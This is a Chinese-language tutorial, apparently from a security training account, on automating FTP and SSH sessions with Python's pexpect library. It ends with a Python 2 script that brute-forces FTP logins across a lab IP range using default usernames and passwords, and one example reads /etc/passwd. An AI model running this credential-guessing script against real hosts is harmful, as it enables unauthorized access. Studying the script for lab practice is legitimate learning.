python使用pexpect实现ftp的操作

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

先来介绍一下pexpect,pexpect可以理解为Linux下expect(不知道的可以百度下linux expect)的python封装。通过pexpect可以实现对ssh、ftp、passwd、telnet等命令进行自动交互,而无需人工干涉来达到自动化的目的。比如我们可以模拟一个FTP登录时的所有交互,包括输入主机地址、用户名、密码,还有对文件上传下载操作等等,若出现异常,我们也可以进行自动化处理。

Pexpect的安装

可以使用pip安装

pip install pexpect

也可以使用easy_install

easy_install pexpect

本菜鸡在win7下使用pip安装的时候抛出好多异常,简直阔怕(后来发现是我的疏忽,我py2和py3同存的问题)无奈只能通过下载模块之后本地安装。

下载地址: https://pypi.python.org/pypi/pexpect/

适用于py2和py3

下载完成之后找到对应路径直接使用pip安装即可

后来遇到个坑,发现windows下不支持pexpect,只好改换linux

一个简单的ftp登录脚本

#coding:utf-8

import pexpect

ftp = pexpect.spawn('ftp 192.168.112.129') #spawn启动ftp程序

ftp.expect('Name') #expect方法等待子程序产生的输出,判断是否匹配定义的字符串Name

ftp.sendline('anonymous') #匹配后发送用户名字符串进行回应

ftp.expect('Password:')

ftp.sendline('anonymous')

ftp.sendline('pwd')

ftp.interact() #执行完成后保持交互状态,把控制权交给控制台

运行结果:

pexpect组件简介

1. spawn类

spanw是pexpect的主要接口,功能就是启动和控制子应用程序。spawn()中可以是系统中的命令,但是不会解析shell命令中的元字符,包括重定向“>”,管道符“|”或者通配符“*”,但是我们可以将含有这三个特殊元字符的命令作为/bin/bash的参数进行调用,例如:

she = pexpect.spawn(‘/bin/bash –c “cat /etc/passwd | grep root > log.txt”’)

she.expect(pexpect.EOF)

spawn支持使用python列表来代替参数项,比如上述命令可变为:

command = ‘cat /etc/passwd | grep root > log.txt’

she = pexpect.spawn(‘/bin/bash’,[‘-c’,command])

she.expect(pexpect.EOF)

(1)expect方法:expect定义了子程序输出的匹配规则。也可使用列表进行匹配,返回值是一个下标值,如果列表中有多个元素被匹配,则返回的是最先出现的字符的下标值。

如上边的脚本中ftp.expect('Name'),返回值为0

列表的情况如下图,返回值为2

(2)read方法:向子程序发送响应命令,可以理解为代替了我们的键盘输入。

例如:

send(self,s) 发送命令,不回车

sendline(self,s=’’) 发送命令,回车

sendcontrol(self,char) 发送控制字符test.sendcontrol(‘c’)等价于“ctrl+c”

sendeof() 发送eof

2. run函数

run是使用pexpect进行封装的调用外部命令的函数,类似于os.system()或os.popen()方法,不同的是,使用run可以同时获得命令的输出结果及其命令的退出状态。

pexpect.run('ssh xxx@x.x.x.x',events={'password:':'xxx'})

events是个字典

3. pxssh类

pxssh是pexpect的派生类,常用的方法有:

login() 建立ssh连接

logout() 断开连接

prompt() 等待系统提示符,用于等待命令执行结束。

一个简单的ssh登录交互式脚本

#coding:utf-8

import pxssh

hostname = '192.168.112.129'

username = 'msfadmin'

password = 'msfadmin'

try:

ssh = pxssh.pxssh()

ssh.login(hostname,username,password)

ssh.sendline('whoami')

ssh.prompt() #匹配系统提示符

print ssh.before #打印系统提示符前的输出

except pxssh.ExceptionPxssh,e:

print "登录失败"

print str(e)

编写实现ftp服务状态测试以及登录口令破解功能

(脚本文档点击阅读原文获取,提取码:7m0a)

#coding:utf-8

import pexpect

def ftp_connect(ip,username,password):

try:

ftp = pexpect.spawn('ftp ' + ip,timeout=0.15) #设置超时时间为0.15s

ftp.expect('Name')

print ip + " Ftp service is opening"

ftp.sendline(username)

print ftp.before

print "testing username: " + username

ftp.expect('Password:')

ftp.sendline(password)

print "testing password: " + password

ftp.expect('Login successful')

print "[+]successfully! username is " + username

print "[+]successfully! password is " + password

ftp.sendline('bye')

ftp.close()

return message

except Exception,e:

print "[-]error!"

def ip():

ip_list = []

ip = "192.168.112."

for i in xrange(128,130):

ip += str(i)

ip_list.append(ip)

ip = "192.168.112."

return ip_list

def payloads_list():

ip_list = ip()

username_list = ['root','admin','msfadmin','anonymous','ftpuser']

password_list = ['password','123456','msfadmin']

payload = []

payloads = []

for a in ip_list:

for b in username_list:

for c in password_list:

payload.append(a)

payload.append(b)

payload.append(c) #把所需参数加入payload中

for i in range(0,len(payload),3):

payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中

return payloads

def attack():

payloads = payloads_list()

for i in range(len(payloads)):

ftp_connect(payloads[i][0],payloads[i][1],payloads[i][2])

if __name__ == '__main__':

attack()

脚本运行结果(部分结果):

这也算是个多功能脚本吧,测试ssh的时候,只需替换相应的代码即可。当然不比其他工具,算是个练习吧,练习编写脚本的能力。

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏青青天空树

git crlf、lf自动转换引起的问题

  项目组最近加了一个新功能到代码中,使用flyway记录数据库版本变更,,,该工具会记录每次数据库结构的修改并生成sql文件存在指定目录上(当然必须用它来变更...

1551
来自专栏州的先生

如何提高爬虫效率?Python下简单的进程、线程效率对比

2126
来自专栏康怀帅的专栏

Fish Shell 安装配置

fish-shell GitHub:https://github.com/fish-shell/fish-shell oh-my-fish GitHub:htt...

5664
来自专栏xingoo, 一个梦想做发明家的程序员

[logstash-input-redis]插件使用详解

Redis插件参数配置详解 最小化配置 input { redis { data_type => "list" #logstash redis插件工作方式 ...

2828
来自专栏有趣的Python

5- vue django restful framework 打造生鲜超市 -完成商品列表页(上)

使用Python3.6与Django2.0.2(Django-rest-framework)以及前端vue开发的前后端分离的商城网站 项目支持支付宝支付(...

4806
来自专栏前端杂货铺

高吞吐koa日志中间件

Midlog中间件 node服务端开发中少不了日志打点,而在koa框架下的日志打点在多进程环境中日志信息往往无法对应上下文,而且在高并发下直接进行写buffer...

52610
来自专栏有趣的Python

11- Flask 构建弹幕微电影网站-后台逻辑(三)

已上线演示地址: http://movie.mtianyan.cn 项目源码地址:https://github.com/mtianyan/movie_proj...

32610
来自专栏GreenLeaves

WCF系列教程之WCF服务配置

文本参考自:http://www.cnblogs.com/wangweimutou/p/4365260.html 简介:WCF作为分布式开发的基础框架,在定义服...

2016
来自专栏漏斗社区

工具| 诸神之眼nmap定制化之并发处理

当我们使用nmap来进行大规模探测的时候,速度和准确度是摆在我们面前的两个问题,这时需要考虑到nmap的并发处理能力。 0x01 nmap本身的并发执行 相关...

3655
来自专栏哲学驱动设计

BaaS API 设计规范

上个月写了一个团队中的 BaaS API 的设计规范,给大家分享下: 目录 1. 引言... 4 1.1. 概要... 4 1.2. 参考资料... 4 1...

23710

扫码关注云+社区